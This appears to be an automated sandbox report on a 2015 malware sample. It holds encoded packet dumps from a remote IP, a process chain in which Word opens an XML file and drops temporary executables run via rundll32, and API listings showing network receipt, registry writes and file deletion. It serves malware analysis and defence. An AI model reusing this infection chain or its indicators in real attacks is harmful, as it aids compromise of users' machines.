Mrz 4, 2015 14:54:15.947027922 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 48 1c 21 3b 11 1b 2d 14 2e 4f 08 31 1d 2c 11 01 0f 0d 2e 08 09 3f 4a 35 17 15 3b 01 0f 14 13 3a 48 39 0d 29 33 19 2e 53 11 22 1d 2e 49 4f 0d 17 4e 19 1a 40 0a 2a 4a 4f 0f 4c 30 30 16 19 01 0c 00 1c 4a 40 31 1b 2e 35 08 34 10 01 00 1a 30 3a 48
Data Ascii: 5H!;-.O1,.?J5;:H9)3.S".ION@*JOL00J@1.540:HAH5/+"OL9;"4?H02A/0"JW503@<;9-;=>"M:!7,I5> S?K;0:/=*<IK:/=->O+-->O+.+<IK:+>+<IK:/=-=579
549
Mrz 4, 2015 14:54:15.947032928 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 1c 28 17 3d 39 31 17 3d 3a 29 3b 11 57 0f 29 39 12 0e 40 3d 39 3f 02 0f 3a 39 3b 33 40 39 29 39 16 0e 39 3d 39 33 4f 0f 3a 39 3c 3f 40 39 29 39 4a 28 39 3d 39 37 02 0f 3a 39 3c 4e 40 39 29 39 3d 28 3d 3d 39 3b 34 00 3a 39 39 4e 40 29 29 39 2e
Data Ascii: 9(=91=:);W)9@=9?:9;3@9)99=93O:9<?@9)9J(9=97:9<N@9)9=(==9;4:99N@))9.(==90<:9;5@))9==95:9<@))9W(==9:,:99@)951=9><:9:@)9(1=914:9;!@)91=94:9<@)9@(1=994:99)@)915=9=<:9:+@)9!(5=90:9;+@)9(5=95<:9<5@)9K
550
Mrz 4, 2015 14:54:15.947036028 MEZ80103262.76.176.203192.168.1.10Data Raw: 0c 21 4a 49 0f 39 39 39 10 3a 20 1c 12 1b 4b 2a 0e 1a 2f 32 02 39 39 39 2b 3a 20 22 02 1b 30 32 08 1a 16 2a 15 39 39 39 19 3a 20 1c 12 1b 4a 4d 12 1a 20 39 39 49 29 2a 10 1c 3f 41 08 39 39 3c 1e 3a 3f 14 02 22 3f 14 16 19 20 29 39 3c 39 2e 48 1a
Data Ascii: !JI999: K*/2999+: "02*999: JM 99I)*?A99<:?"? )9<9.HJJ.96=!6! 29<:?JJ.99<:?"K2?9N*KL"? )9K)*J>?96L= 6*9<W:06H6?L999.02"/L99(1=/.!K:M99;:>A??9J*!/299:?
552
Mrz 4, 2015 14:54:15.947068930 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 1b 1f 36 2f 19 20 32 48 1c 2f 3e 0b 2d 20 2e 14 1b 16 13 39 39 3d 39 3c 2d 4b 2e 02 1b 3f 2e 0d 22 3e 2a 17 1b 15 2e 10 22 39 3b 16 39 3d 2e 0d 1c 2f 49 2c 1d 20 36 48 22 2f 49 3c 1a 4a 2a 14 2d 3f 3e 16 22 20 36 3a 39 39 39 00 39 2d 1c 14 1c
Data Ascii: 96/ 2H/>- .99=9<-K.?.">*."9;9=./I, 6H"/I<J*-?>" 6:9999-=66?.,"/!K*
552
Mrz 4, 2015 14:54:15.947148085 MEZ80103262.76.176.203192.168.1.10Data Raw: 4a 4d 32 1a 15 22 0e 39 3e 1b 3c 2e 2f 4d 17 21 2f 4d 13 1a 3f 2e 13 2a 20 10 12 22 20 3a 48 19 2f 41 0d 2a 15 14 0b 1c 3f 2e 01 39 39 3c 20 39 14 36 14 1c 3d 36 0e 1a 20 3a 49 1c 3f 2e 01 2c 15 3e 0c 22 2e 1b 39 39 3b 13 39 29 4a 3e 0d 21 4a 2e
Data Ascii: JM2"9><./M!/M?.* " :H/A*?.99< 96=6 :I?.,>".99;9)J>!J..J>?>?.-/I<A96=."=A*")99!)>0" *?/-?>H=M/.:99;>9I *)JAJA"-AI0:I==996 H".:J6K66"/I999<-J.H*".*/-996K*!JI.99
553
Mrz 4, 2015 14:54:15.947153091 MEZ80103262.76.176.203192.168.1.10Data Raw: 2f 3e 0b 29 2f 00 0b 1a 4a 35 39 39 33 0f 3b 2d 15 2e 16 19 20 36 48 22 20 32 20 21 2f 14 48 2a 15 41 01 2d 4a 14 0d 22 4a 00 14 2c 4a 32 09 22 2f 36 48 2a 20 1f 39 40 0f 32 2c 22 20 2a 3c 1a 4a 4d 02 1a 4a 00 14 2e 3f 14 48 1a 3f 2e 3a 39 39 39
Data Ascii: />)/J5993;-. 6H" 2 !/H*A-J"J,J2"/6H* 9@2," *<JMJ.?H?.:999 9 *!/.,,?=!/)9)25J>,?>-.L))993922H*;)I65"/>)H")99796," */JI/.6K.>:/MH.99.96-6"/6",?A!/-/I.?A, 6H"/I-/I9>-;,/>
555
Mrz 4, 2015 14:54:15.947305918 MEZ80103262.76.176.203192.168.1.10Data Raw: 20 32 13 2c 3f 14 0d 19 48 3d 39 57 0f 32 2c 22 20 2a 3e 1a 16 22 08 1b 15 41 0d 1a 2f 2e 0d 1c 3e 22 10 1b 15 14 10 21 15 00 14 2e 0f 3c 48 39 2d 1c 0b 1a 4a 32 10 1a 3d 10 10 1a 15 2a 0b 22 29 39 39 0d 1f 3e 30 22 20 2a 2c 1d 20 36 48 22 2f 49
Data Ascii: 2,?H=9W2," *>"A/.>"!.<H9-J2=*")99>0" *, 6H"/I+"/K*.>IK*99929-=6/I*5/M)):39I*."<5,.L999A:0" *:)I9995:*J.H.?.="?.7!/I.996K*!JI-=91):;/"=6/I=)H2:*-/IK.HH=995!:
556
Mrz 4, 2015 14:54:15.947371960 MEZ80103262.76.176.203192.168.1.10Data Raw: 20 1c 0f 1b 15 14 0d 1c 3f 21 39 22 29 2e 4b 21 4b 36 48 1a 4a 29 39 39 30 31 3e 1c 4b 36 12 21 2f 4d 15 39 39 3c 22 3a 3f 00 0e 21 4a 3e 0b 22 2f 36 0e 1a 16 21 39 39 33 4c 3d 22 16 2a 14 1a 3f 0f 39 3a 0f 2e 02 22 20 2a 4a 21 16 2e 15 39 3e 1b
Data Ascii: ?!9").K!K6HJ)9901>K6!/M99<":?!J>"/6!993L="*?9:." *J!.9>>J6"*/-9925="."99)*J.H?A99->J.H!.99:4: "K02*99<:?I?!99 6J!K2H4*9995):<.?.=+-2)! *H" 2)2IJ)9:0*=5M?9=):<H6"/>H"-
558
Mrz 4, 2015 14:54:15.947376966 MEZ80103262.76.176.203192.168.1.10Data Raw: 4a 49 3d 21 20 2a 10 39 39 39 0a 39 3d 1c 14 1c 3d 36 0e 1a 20 3a 0e 1a 15 2e 0d 1c 3d 14 3d 2a 16 32 0e 1a 2d 36 35 2d 49 36 29 2a 2d 35 39 2e 29 3a 20 1b 15 14 48 22 2d 10 08 1c 3d 00 0e 22 4a 1c 08 1a 15 1b 39 30 39 3a 3c 1b 15 2e 10 1c 3f 2e
Data Ascii: JI=! *9999==6 :.==*2-65-I6)*-59.): H"-="J909:<.?..-6JMJ.99:IJL"?99:09!J>)/J599(99*2"-!29))25J>,?>-=992!;->J.>?60*JL9999999999999999995A.)999999->99=9999:99999)99
559
Mrz 4, 2015 14:54:15.947381973 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
560
Mrz 4, 2015 14:54:15.947385073 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
562
Mrz 4, 2015 14:54:15.947422981 MEZ80103262.76.176.203192.168.1.10Data Raw: 3a 2d 3c 2f 16 3d 39 39 3c 3a 35 39 2b 3b 2d 39 33 1b 3c 17 01 4c 39 39 37 2e 28 39 2b 3a 3c 39 30 21 3c 2d 15 40 39 39 34 49 2c 39 2b 3a 4e 39 28 4c 3e 11 1b 1f 39 39 28 36 20 39 2b 3b 1d 39 3f 1b 3e 0a 1d 3d 39 39 34 32 1d 39 2b 39 3a 39 36 0f
Data Ascii: :-</=99<:59+;-93<L997.(9+:<90!<-@994I,9+:N9(L>99(6 9+;9?>=99429+9:96>===99("9+99:H06?H99(69+9979059946H9+; 95<H99(A9+99>5?799;;;9+9<92?=993?29+<99;W:=992;)9+9.9<502=99:/,9+;3940)@99:/9+997;3-H99;?9+919=H?
563
Mrz 4, 2015 14:54:15.947523117 MEZ80103262.76.176.203192.168.1.10Data Raw: 11 39 4a 39 3c 48 3e 2a 2f 17 39 39 37 4f 0e 39 11 3c 11 39 3c 0b 3b 40 2f 29 39 39 3f 1e 4a 39 11 39 39 39 37 0b 30 3c 4b 31 39 39 39 16 4d 39 11 3a 01 39 3b 29 3e 1f 19 31 39 39 37 48 3b 39 01 3b 4a 39 36 31 3d 00 20 0f 39 39 33 48 31 39 01 39
Data Ascii: 9J9<H>*/997O9<9<;@/)99?J999970<K1999M9:9;)>1997H;9;J961= 993H1995921<?O-99?799-9401S993+9:"96H<29949:!9>="S=99(9;9<=;:H99<9<=9?L;H@)9939:9<9=)99>9;@979<W99:-9;<95);992-9;K9(@;-994-I9<6
565
Mrz 4, 2015 14:54:15.947526932 MEZ80103262.76.176.203192.168.1.10Data Raw: 3c 15 39 1d 35 3d 10 4b 4c 14 1a 37 0e 09 40 2c 22 4d 0d 13 20 2b 15 2a 3a 22 14 16 37 1d 14 1b 22 32 01 1e 36 15 2c 3b 49 12 57 4a 2c 40 0a 0a 19 0d 41 21 36 0b 1b 3e 2c 37 0c 4f 49 14 28 2d 21 2d 12 01 35 41 2e 13 11 3b 31 09 1d 31 2a 09 4d 1e
Data Ascii: <95=KL7@,"M +*:"7"26,;IWJ,@A!6>,7OI(-!-5A.;11*MJ"9 3/:;K;5I>:(:SJ,M-,*@-=,@S3*3SOW:K+1 +.=AL/.L*O">)-H*)A3N;5"MJS+LO+76:L!.>+*N;)>KO O4@<H
566
Mrz 4, 2015 14:54:15.947529078 MEZ80103262.76.176.203192.168.1.10Data Raw: 0b 2b 3b 2b 35 12 0a 1a 2e 1c 4a 36 34 29 2b 4d 19 32 09 29 48 0f 0e 0d 0c 1f 20 2c 2b 41 2c 09 41 17 49 53 40 4c 01 2a 40 01 4c 36 19 48 1b 3f 0e 34 3b 0f 1e 4b 53 48 1b 1c 37 3a 2f 12 10 0b 1b 36 01 4e 53 1b 4d 13 3c 4c 57 19 4b 1d 16 39 0e 34
Data Ascii: +;+5.J64)+M2)H ,+A,AIS@L*@L6H?4;KSH7:/6NSM<LWK94>N-L"3,==("3@J@;?L5N 6((@ 6W2M6 2(/M1?M.6L47:->:!L)SH(J1:M)3//0N3H6?"/+A,.J0!/.(.:W )LI2-";K?LH7H7
568
Mrz 4, 2015 14:54:15.947607994 MEZ80103262.76.176.203192.168.1.10Data Raw: 1e 4b 1a 3a 53 02 21 1d 01 3e 0c 37 13 37 1a 2d 2e 2e 4b 32 1b 08 0d 11 3d 28 0d 2a 01 28 2b 1c 0d 49 41 48 2b 36 21 35 0a 11 20 41 3a 3c 19 10 2b 3b 40 02 0e 4f 13 20 11 13 3a 22 1c 3a 53 15 1e 34 36 35 08 29 2f 3e 0c 01 49 31 48 40 1b 2e 1e 37
Data Ascii: K:S!>77-..K2=(*(+IAH+6!5 A:<+;@O :":S465)/>I1H@.7W7S0=A0J +0S?WL6A7LN6(3+("4+6M.)+1(4!0;LSOA!SH*:M,=6S==;L1;,2SNHK3J;;7K-A2>I"?><=:<!M<?0H <3
569
Mrz 4, 2015 14:54:15.947691917 MEZ80103262.76.176.203192.168.1.10Data Raw: 0c 4e 1d 3f 2f 0c 1e 40 57 13 29 33 02 11 53 34 41 2a 4d 0f 19 15 2d 3c 0b 2f 00 3f 00 0d 3f 35 08 0f 1b 31 16 22 57 1d 31 32 10 30 01 2f 36 36 48 1a 12 02 22 2d 2c 37 48 16 1f 35 1b 15 0f 0f 40 17 20 1c 17 0a 3f 35 4a 3d 1c 29 3e 0a 1c 3a 10 2f
Data Ascii: N?/@W)3S4A*M-</??51"W120/66H"-,7H5@ ?5J=)>:/+-OA??OW?3?,51+7;(0/45;3@0*NOIS+6:4L*@KW1+:)"!"LKO69.J@ O"+-OM204<9N/-.70?<A7N@+2!3+H7>.@A03,0K3KHM";"
570
Mrz 4, 2015 14:54:15.947695971 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
572
Mrz 4, 2015 14:54:15.947822094 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
573
Mrz 4, 2015 14:54:15.947896957 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 31 39 39 39 1f 3a 39 39 39 39 3a 29 39 39 3b 39 39 39 39 39 39 37 2d 4d 4f 02 29 39 39 39 39 39 39 39 39 3a 39 31 48 12 39 39 39 4c 39 39 3b 39 39 39 39 39 39 37 2d 4d 4f 02 29 39 39 39 39 39 39 39 39 3a 39 39 13 3d 39 39 3b 39 39 39 39 39 39
Data Ascii: 91999:9999:)99;9999997-MO)99999999:91H999L99;9999997-MO)99999999:99=99;99999999997-MO)99999999:99=999:99;9999997-MO)99999999:99=999L999>9>93;99999999999999=9WW@9999999999599193999999<A901999999=-9:H9?-999=L9"):H909:9?919
575
Mrz 4, 2015 14:54:15.947901011 MEZ80103262.76.176.203192.168.1.10Data Raw: 29 39 3f 40 39 1b 0f 3a 48 39 3b 39 39 2d 39 3a 0e 39 30 35 39 1c 39 3a 32 39 3f 4c 39 22 1f 3a 0e 39 3b 39 39 2d 39 3a 10 39 30 31 39 1b 0f 3a 14 39 30 31 39 31 39 3a 3d 39 3d 0f 39 2c 39 39 39 39 3c 1f 39 3c 39 39 3a 39 3d 13 39 1a 1f 3a 48 39
Data Ascii: )9?@9:H9;99-9:90599:29?L9":9;99-9:9019:901919:=9=9,9999<9<99:9=9:H9?-9:9?=99:79?=9):99999:9099!):9059")99?)99:99999999=9,9:9?9!):9=59:909:9?99:H9999):9099):9?9":90)919;9;995)9M9<96)99<=97)9M9<
576
Mrz 4, 2015 14:54:15.947902918 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
578
Mrz 4, 2015 14:54:15.947906017 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
579
Mrz 4, 2015 14:54:15.947907925 MEZ80103262.76.176.203192.168.1.10Data Raw: 48 30 02 29 09 36 3c 2d 48 29 3c 2a 34 36 3e 21 48 21 2c 2a 0b 36 30 1b 48 1f 12 2b 37 36 32 13 48 08 3c 2b 0f 36 34 0b 48 00 12 2c 2a 36 36 0f 48 4e 3c 2c 48 36 28 40 48 3b 12 2d 2e 36 2b 39 49 33 02 2d 4a 36 2d 3d 49 2c 3c 2e 20 36 2f 31 49 1a
Data Ascii: H0)6<-H)<*46>!H!,*60H+762H<+64H,*66HN<,H6(@H;-.6+9I3-J6-=I,<. 6/1I,.L6!5I/6!I,/@6IH 6IA<-96J>!6J6";6LJ/,"6@J>6=J<65J26)JK6-J9,56K16K**6IK"6KHK,-6M@KJ6@=K,!6S5KOO6!L=,
581
Mrz 4, 2015 14:54:15.947951078 MEZ80103262.76.176.203192.168.1.10Data Raw: 48 35 31 39 0f 12 3c 3b 21 35 33 29 0f 0b 3c 3b 40 35 35 1f 0f 49 3c 3c 1f 35 37 0f 0f 53 3c 39 3d 35 2a 39 00 30 3c 3d 17 35 2c 29 00 29 3c 3e 35 35 2e 1f 00 22 3c 3e 0f 35 20 0f 00 11 3c 3f 2d 35 19 39 00 0a 3c 3f 4c 35 1b 29 00 48 3c 30 1b 35
Data Ascii: H519<;!53)<;@55I<<57S<9=5*90<=5,))<>55."<>5 <?-59<?L5)H<05A<=95?<159(<215)!<25<3)5<3H59<4!5)@<4@5><557<6=5I9 <65
581
Mrz 4, 2015 14:54:15.948030949 MEZ80103262.76.176.203192.168.1.10Data Raw: 4b 29 02 1f 3c 37 35 35 4d 1f 02 08 3c 37 0f 35 4f 0f 02 01 3c 28 2d 35 53 39 02 4f 3c 28 4c 35 0f 29 48 3d 3c 29 1b 36 3b 1f 48 36 3c 2a 39 36 3d 0f 48 2f 3c 2a 13 36 30 39 48 1e 3c 2b 31 36 32 29 48 17 3c 2b 0b 36 34 1f 48 00 3c 2c 29 36 36 0f
Data Ascii: K)<755M<75O<(-5S9O<(L5)H=<)6;H6<*96=H/<*609H<+162)H<+64H<,)66HN<,H699I<<-!6+)I5<-@6-I.<.6/I</=6"9I</6)I< 56IM< 6I;<!-69J4<!L6)J-<"6J<96J<69J<16)JL<6J:<)6K3<H6H9K,<!6J)K<@6LK<6NK
582
Mrz 4, 2015 14:54:15.948035002 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
584
Mrz 4, 2015 14:54:15.948043108 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
584

Hooks - Code Manipulation Behavior

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

General

Start time:14:54:01
Start date:04/03/2015
Path:C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSOXMLED.EXE
Wow64 process (32bit):false
Commandline:unknown
Imagebase:0x30000000
File size:55360 bytes
MD5 hash:02A96B3890D0E10418FAA8D4AECC872A

General

Start time:14:54:01
Start date:04/03/2015
Path:C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE
Wow64 process (32bit):false
Commandline:C:\Program Files\Microsoft Office\OFFICE11\WINWORD.EXE /n /dde C:\word.xml
Imagebase:0x30000000
File size:12061896 bytes
MD5 hash:7A0FA3A0282B4630F3768A74441D4BAE

General

Start time:14:54:05
Start date:04/03/2015
Path:C:\Documents and Settings\Administrator\Local Settings\Temp\fdgfdgdfga.exe
Wow64 process (32bit):false
Commandline:C:\Documents and Settings\Administrator\Local Settings\Temp\fdgfdgdfga.exe
Imagebase:0x400000
File size:84992 bytes
MD5 hash:B2E67B899A51C9FBF5320CECF6F63269

General

Start time:14:54:06
Start date:04/03/2015
Path:C:\edg1.exe
Wow64 process (32bit):false
Commandline:\edg1.exe C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\FDGFDG~1.EXE
Imagebase:0x400000
File size:84992 bytes
MD5 hash:52C358A175B057C75B398839EF9340BD

General

Start time:14:54:15
Start date:04/03/2015
Path:C:\WINDOWS\system32\rundll32.exe
Wow64 process (32bit):false
Commandline:rundll32.exe C:\2.tmp NotifierInit
Imagebase:0x1000000
File size:33280 bytes
MD5 hash:037B1E7798960E0420003D05BB577EE6

General

Start time:14:55:08
Start date:04/03/2015
Path:C:\WINDOWS\explorer.exe
Wow64 process (32bit):false
Commandline:C:\WINDOWS\Explorer.EXE
Imagebase:0x1000000
File size:1033728 bytes
MD5 hash:12896823FB95BFB3DC9B46BCAEDC9923

Disassembly

Code Analysis

< >

    Executed Functions

    Non-executed Functions

    Executed Functions

    Non-executed Functions

    Executed Functions

    APIs
    Strings
    Memory Dump Source
    • Source File: 00000002.00000002.184476676.00D10000.00000040.sdmp, Offset: 00D10000, based on PE: false
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_2_2_d10000_fdgfdgdfga.jbxd

    Non-executed Functions

    Executed Functions

    APIs
    • CryptAcquireContextW.ADVAPI32 ref: 00405DE1
    Strings
    Memory Dump Source
    • Source File: 00000003.00000001.184155313.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000001.184083600.00400000.00000002.sdmp
    • Associated: 00000003.00000001.184265573.00414000.00000002.sdmp
    • Associated: 00000003.00000001.184355244.00415000.00000008.sdmp
    • Associated: 00000003.00000001.184412302.00416000.00000004.sdmp
    • Associated: 00000003.00000001.184471862.00417000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_1_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • select.WS2_32(00000000,00000001,00000000,00000000,?,?,004034F8), ref: 004077FB
    • recv.WS2_32(?,00000000,00000000,00000000,00000002,?,00000001,?,004034F8), ref: 0040787C
    • recv.WS2_32(?,000000FF,00000101,00000000,00000000,?,00000001,?,004034F8), ref: 004078F3
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
    • GetProcessHeap.KERNEL32 ref: 00405E1E
    • HeapAlloc.KERNEL32(00000000,?,00404E76,?,?,?,?,?,00404F0A,?,?,004047B2,00000000,?,?,?), ref: 00405E25
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 00405D12: LoadLibraryW.KERNEL32(kernel32.dll), ref: 00405D36
      • Part of subcall function 00405D12: GetProcAddress.KERNEL32(00000000), ref: 00405D3D
    • GetVersionExA.KERNEL32(?), ref: 00404037
      • Part of subcall function 00403D2F: IsWow64Process.KERNEL32(00000000,00000000,00000002), ref: 00403D77
      • Part of subcall function 00403E44: GetTokenInformation.ADVAPI32(00000000,00000002,00000000,00000000,?,?,00000002), ref: 00403EBD
      • Part of subcall function 00403E44: GetTokenInformation.ADVAPI32(00000000,00000002,00000000,00000000,00000000,?,?,00000002), ref: 00403F14
      • Part of subcall function 00403BB9: GetTokenInformation.ADVAPI32(00000000,00000019,00000000,00000000,?,?,00000002), ref: 00403C2F
      • Part of subcall function 00403DF0: GetProcAddress.KERNEL32(00000000,RtlQueryElevationFlags), ref: 00403E0B
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000040,?,?,00405DB5,00000000,00000004,?,?,?,00401882,0000007C,0000007C), ref: 00405DE2
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000003.00000002.213338727.00D10000.00000040.sdmp, Offset: 00D10000, based on PE: false
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_d10000_edg1.jbxd
    APIs
      • Part of subcall function 00404002: GetVersionExA.KERNEL32(?), ref: 00404037
    • SetFileAttributesW.KERNEL32(?,00000080,00000000,00000000,00000080,?,00000000), ref: 00403287
    • DeleteFileW.KERNEL32(?,?,00000000), ref: 0040329F
      • Part of subcall function 0040482B: LoadLibraryA.KERNEL32(00000000), ref: 00404953
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • Sleep.KERNEL32(000003E8,00000000,00000000,?,?,?,?,00000000), ref: 0040348A
    • GetTempFileNameW.KERNEL32(00000000,00408084,00000000,00000000,00000000,00002800,00000400,?,?,?,?,?,00000000,?,00000000), ref: 0040362D
    • CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?), ref: 00403A0D
      • Part of subcall function 00405D58: LoadLibraryW.KERNEL32(kernel32.dll), ref: 00405D82
      • Part of subcall function 00405D58: GetProcAddress.KERNEL32(00000000), ref: 00405D89
      • Part of subcall function 00406F7E: RegEnumValueA.ADVAPI32(00000000,00000001,?,00000105,00000000,00000000,00000000,00000000,?,?,00000000,80000001), ref: 00406FCD
      • Part of subcall function 00406E97: RegSetValueExA.ADVAPI32(00000000,00408088,00000000,00000003,00000000,00000000,00000000,?,00403968,?,?,?,?,00000000,00000002,00000000), ref: 00406ED6
      • Part of subcall function 00405D12: LoadLibraryW.KERNEL32(kernel32.dll), ref: 00405D36
      • Part of subcall function 00405D12: GetProcAddress.KERNEL32(00000000), ref: 00405D3D
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
    • VirtualAlloc.KERNEL32 ref: 00404B2B
      • Part of subcall function 00403C00: VirtualAlloc.KERNEL32 ref: 00403C6D
    Strings
    Memory Dump Source
    • Source File: 00000003.00000001.184155313.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
